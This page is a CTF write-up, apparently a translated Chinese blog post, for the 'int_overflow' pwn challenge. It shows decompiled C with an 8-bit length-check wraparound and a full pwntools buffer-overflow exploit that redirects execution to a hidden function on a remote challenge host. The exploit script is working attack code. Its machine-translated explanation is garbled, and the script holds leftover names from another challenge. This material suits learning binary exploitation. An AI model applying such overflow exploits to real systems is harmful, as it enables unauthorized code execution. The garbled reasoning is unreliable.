当前位置:网站首页>PWN attack and defense world int_ overflow
PWN attack and defense world int_ overflow
2022-07-01 07:35:00 【Day-3】

First , Let's run and look at the file .

Throw in IDA in , View the source code :
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
After checking , This buf Overflow operation is available . But we need to pay attention , The last two bits he converts to binary need to be greater than 3 Less than or equal to 8.
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x14 + 0x04) + p32(system_addr)
payload = payload.ljust(260,b"a")
day3.sendlineafter("Your choice:","1")
day3.sendlineafter("Please input your username:\n","123")
day3.recvuntil("Please input your passwd:\n")
day3.sendline(payload)
day3.interactive()
main()

obtain Flag.
边栏推荐
- 【微服务|openfeign】Feign的日志记录
- 【mysql学习笔记25】sql语句优化
- Inftnews | from "avalanche" to Baidu "xirang", 16 major events of the meta universe in 30 years
- ONES 创始人王颖奇对话《财富》(中文版):中国有没有优秀的软件?
- 2022制冷与空调设备运行操作国家题库模拟考试平台操作
- Image style migration cyclegan principle
- atguigu----脚手架--02-使用脚手架(2)
- Vscode automatically formats code according to eslint specification
- 运维管理系统,人性化操作体验
- Caesar
猜你喜欢
![Those high-frequency written tests and interview questions in [Jianzhi offer & Niuke 101] - linked list](/img/9a/44976b5df5567a7aff315e63569f6a.png)
Those high-frequency written tests and interview questions in [Jianzhi offer & Niuke 101] - linked list

redisson使用全解——redisson官方文档+注释(上篇)

Redisson utilise la solution complète - redisson Documents officiels + commentaires (Partie 1)

2022危险化学品经营单位主要负责人试题及模拟考试

Autosar 学习记录(1) – EcuM_Init

Minecraft 1.16.5模组开发(五十一) 方块实体 (Tile Entity)

kubernetes资源对象介绍及常用命令(二)

论文学习——水文时间序列相似性查询的分析与研究

I bet on performance and won the CTO of the company. I want to build Devops platform!

Paging in servlets and JSPS
随机推荐
2022 electrician (intermediate) recurrent training question bank and answers
Apple account password auto fill
【mysql学习笔记28】存储函数
十大劵商如何开户?另外,手机开户安全么?
Reply and explanation on issues related to "online training of network security education in 2022"
Alibaba OSS postman invalid according to policy: policy condition failed: ["starts with", "key", "test/"]
【编程强训】删除公共字符(哈希映射)+组队竞赛(贪心)
Understanding of Turing test and Chinese Room
【编程强训2】排序子序列+倒置字符串
Jax's deep learning and scientific computing
长路漫漫、技术作伴
Paging in servlets and JSPS
go-etcd
AUTOSAR learning record (1) – ECUM_ Init
【R语言】两个/N个数据合并merge函数
kubernetes资源对象介绍及常用命令(二)
良心安利万向轮 SolidWorks模型素材网站
浏览器本地存储
运维管理系统,人性化操作体验
力扣——求一组字符中的第一个回文字符